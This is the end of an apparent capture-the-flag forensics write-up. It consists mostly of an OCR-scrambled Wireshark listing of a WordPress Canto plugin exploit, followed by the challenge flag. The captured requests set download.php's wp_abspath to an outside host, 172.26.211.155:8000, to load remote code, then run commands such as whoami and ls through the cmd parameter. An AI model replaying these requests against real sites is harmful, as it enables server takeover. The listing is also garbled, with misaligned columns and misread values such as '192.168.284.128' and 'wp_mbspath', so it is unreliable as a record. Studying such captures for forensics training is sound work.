                                                                                                                                                                      698 GET /wordpress/wp-content/plugins/canto/ HTTP/1.1
      136866 532.300473
137040 539.284195
                                                  192.168.204.128
192.168.204.1
                                                                                                           16273
192.168.204.128,80
                                                                                                                                                                     307 HTTP/1.1 200 OK
761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
                                                                                192.168.204.1
                                                                                                                                            HTTP
                                                                                192.168.284.128
      137044 539.337207
137047 539.359454
                                                                                                                                                                      136 GET /wp-admin/admin.php HTTP/1.1
74 HTTP/1.0 200 OK
                                                  192.168.204.128
172.26.211.155
                                                                                                            172.26.211.155:8000,8... HTTP
                                                                                192.168.204.128 53041
                                                                                                                                                                     383 HTTP/1.1 200 OK (text/html)
772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
                                                  192.168.204.12
192.168.204.1
                                                                                192.168.204.1
192.168.204.128
                                                                                                            192,168,204,128,80 HTTP
      138545 601.848801
                                                                                                            172.26.211.155:8000,8.. HTTP
                                                   192.168.204.128
                                                  172.26.211.155
192.168.204.128
                                                                                192.168.204.128
192.168.204.1
                                                                                                                                                                     84 HTTP/1.0 200 OK
657 HTTP/1.1 200 OK (text/html)
      138552 601.858192
                                                                                                           53181
      138648 605.165676
                                                  192.168.204.1
192.168.204.128
                                                                                                           192.168.204.128,80 HTTP
172.26.211.155:8000,8... HTTP
                                                                                                                                                                     761 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
      145191 822.723084
                                                                                192.168.284.128
      145195 822.727228
                                                                                172.26.211.155
      145200 822.731906
                                                   172.26.211.155
                                                                                 192.168.204.128
                                                                                                            53596
                                                                                                                                                                      593 HTTP/1.0 200 OK
      145276 825.946404
                                                  192.168.204.128
                                                                                192.168.204.1
                                                                                                            16323
                                                                                                                                                                    1178 HTTP/1.1 200 OK (text/html)
                                                                                                                                                                     787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000 HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
522 HTTP/1.0 200 OK
                                                  192.168.204.128
172.26.211.155
      207204 1214.860145
                                                                                172.26.211.155
                                                                                                            172.26.211.155:8000,8.. HTTP
      207210 1214.864749
                                                                                192.168.204.128
                                                  192.168.204.128
192.168.204.1
                                                                                192.168.204.1
192.168.204.128
                                                                                                           17057
192.168.204.128,80
                                                                                                                                                                     653 HTTP/1.1 200 OK (text/html)
787 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_mbspath=http://172.26.211.155:8000 HTTP/1.1
      207218 1214.872766
                                                                                                                                            HTTP
      209442 1226,192500
      209447 1226.196476
209453 1226.203571
                                                  192.168.204.128
172.26.211.155
                                                                                                           172.26.211.155:8000,8... HTTP
54436 HTTP
                                                                                                                                                                     136 GET /wp-admin/admin.php HTTP/1.1
593 HTTP/1.0 200 OK
                                                                                 172.26.211.155
                                                                                192.168.204.128
                                                                                                                                                                    1178 HTTP/1.1 200 OK (text/html)
                                                                                                                                                                     772 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:80008cmd=whoami HTTP/1.1 136 GET /wp-admin/admin.php HTTP/1.1
                                                                                                            192.168.204.128,80 HTTP
      235875 1347.618435
                                                   192,168,204,1
                                                                                 192.168.284.128
                                                   192.168.204.128
                                                                                 172.26.211.155
                                                                                                            172.26.211.155:8000,8.. HTTP
                                                  172.26.211.155
192.168.204.128
                                                                                                                                                                     84 HTTP/1.0 200 OK
657 HTTP/1.1 200 OK (text/html)
      235885 1347,621660
                                                                                192.168.204.128
                                                                                                            54457
      235935 1347.764043
                                                                                                            17205
                                                                                192.168.204.1
      236907 1353.039574
236911 1353.053056
                                                  192.168.204.1
192.168.204.128
                                                                                                           192.168.204.128,80 HTTP
172.26.211.155:8000,8... HTTP
                                                                                                                                                                     768 GET /wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=ls HTTP/1.1
136 GET /wp-admin/admin.php HTTP/1.1
                                                                                 192.168.204.128
                                                                                172.26.211.155
                                                   192.168.204.128
                                                                                192.168.204.1
                                                                                                                                                                      626 HTTP/1.1 200 OK (text/html)
         [truncated]<a href="http://www.php.net/"><ing border="0" src="" 00001d00 74 61 62 6c 65 3e 0m 3c 74 72 3e 3c 74 64 20 63
                                                                                                                                                                                                                                                                                                                                        table> <td
       System Windows NT DESKTOP-2R3AR22 10.0 build 17763 (Windows 10) AMD64 AMD64 Build Date Oct 24 2023 21:10:40 AddBuild System Microsoft Windows Server 2019 Datacenter [10.0.17763] Add
        Compiler Visual C++ 2019 \n Architecture x64 \n
                                                                                                                                                                                                                                                                  3e 3c 74 64 20 63 6c 61 73 73 3d 22 65 22 3e 42 >B
        [truncated]Configure Command ctd>/td>ctp>Server API Apache 2.0 Handler /td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td>/td><t
                                                                                                                                                                                                                                                                 75 69 6c 64 20 44 61 74 65 20 3c 2f 74 64 3e 3c uild Dat e 

        74 64 20 63 6c 61 73 73
        3d 22 76 22 3e 4f 63 74
        td class ="v">oct

         Virtual Directory Support enabled 
This runs on Windows! So it will immediately fail from the first command, which is uname .
```

Thefore, the flag is <code>0xL4ugh{phpinfo()_SimpleHTTP/0.6_desktop-2r3ar22\administrator_172.26.211.155:1234_uname}</code>